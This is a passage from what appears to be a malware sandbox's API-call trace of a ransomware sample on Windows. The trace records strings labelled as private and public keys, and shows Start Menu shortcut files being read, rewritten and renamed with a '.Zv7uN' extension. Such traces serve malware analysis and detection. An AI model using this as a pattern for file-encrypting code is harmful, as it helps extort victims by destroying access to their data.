1Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.277] GetCurrentThreadId () returned 0xa30 [0132.277] GetCurrentThreadId () returned 0xa30 [0132.277] GetCurrentThreadId () returned 0xa30 [0132.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.278] GetCurrentThreadId () returned 0xa30 [0132.278] GetCurrentThreadId () returned 0xa30 [0132.278] GetCurrentThreadId () returned 0xa30 [0132.279] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.279] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.279] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.279] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x524 [0132.279] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.279] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x524, lpOverlapped=0x0) returned 1 [0132.283] CloseHandle (hObject=0x1dc) returned 1 [0132.283] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.285] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x524, lpOverlapped=0x0) returned 1 [0132.288] CloseHandle (hObject=0x1dc) returned 1 [0132.288] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk.zv7un")) returned 1 [0132.289] GetCurrentThreadId () returned 0xa30 [0132.289] GetCurrentThreadId () returned 0xa30 [0132.289] GetCurrentThreadId () returned 0xa30 [0132.289] GetCurrentThreadId () returned 0xa30 [0132.289] GetCurrentThreadId () returned 0xa30 [0132.289] GetCurrentThreadId () returned 0xa30 [0132.289] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0132.290] GetLastError () returned 0x12 [0132.290] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0132.290] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6310d620, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6310d620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0132.290] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0132.290] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.290] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6310d620, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6310d620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0132.290] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.290] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.290] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4ce49a, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e4ce49a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62ce2fa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Character Map.lnk.Zv7uN", cAlternateFileName="CHARAC~1.ZV7")) returned 1 [0132.290] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.290] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.290] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0f3952, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0f3952, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0132.291] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3b95, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x297b3b95, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62f445a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="dfrgui.lnk.Zv7uN", cAlternateFileName="")) returned 1 [0132.291] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.291] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.291] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d31a0d9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d31a0d9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62f6a700, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Disk Cleanup.lnk.Zv7uN", cAlternateFileName="DISKCL~1.ZV7")) returned 1 [0132.291] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.291] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.291] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141abfff, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x141abfff, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62f90860, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Resource Monitor.lnk.Zv7uN", cAlternateFileName="RESOUR~1.ZV7")) returned 1 [0132.291] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.291] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.291] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e7f40, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa5e7f40, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62fb69c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Information.lnk.Zv7uN", cAlternateFileName="SYSTEM~1.ZV7")) returned 1 [0132.291] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.291] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.291] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8d61e7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c8d61e7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62fdcb20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Restore.lnk.Zv7uN", cAlternateFileName="SYSTEM~2.ZV7")) returned 1 [0132.291] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.291] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.291] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9eb814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b9eb814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63002c80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Task Scheduler.lnk.Zv7uN", cAlternateFileName="TASKSC~1.ZV7")) returned 1 [0132.291] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.292] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.292] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ace9ee9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63028de0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Easy Transfer Reports.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0132.292] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.292] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.292] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x6310d620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Easy Transfer.lnk.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 1 [0132.292] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.292] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.292] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x6310d620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Easy Transfer.lnk.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 0 [0132.292] GetLastError () returned 0x12 [0132.292] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0132.292] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0132.292] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.292] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.292] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0132.293] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0132.293] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a217df5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0132.293] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0132.294] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, 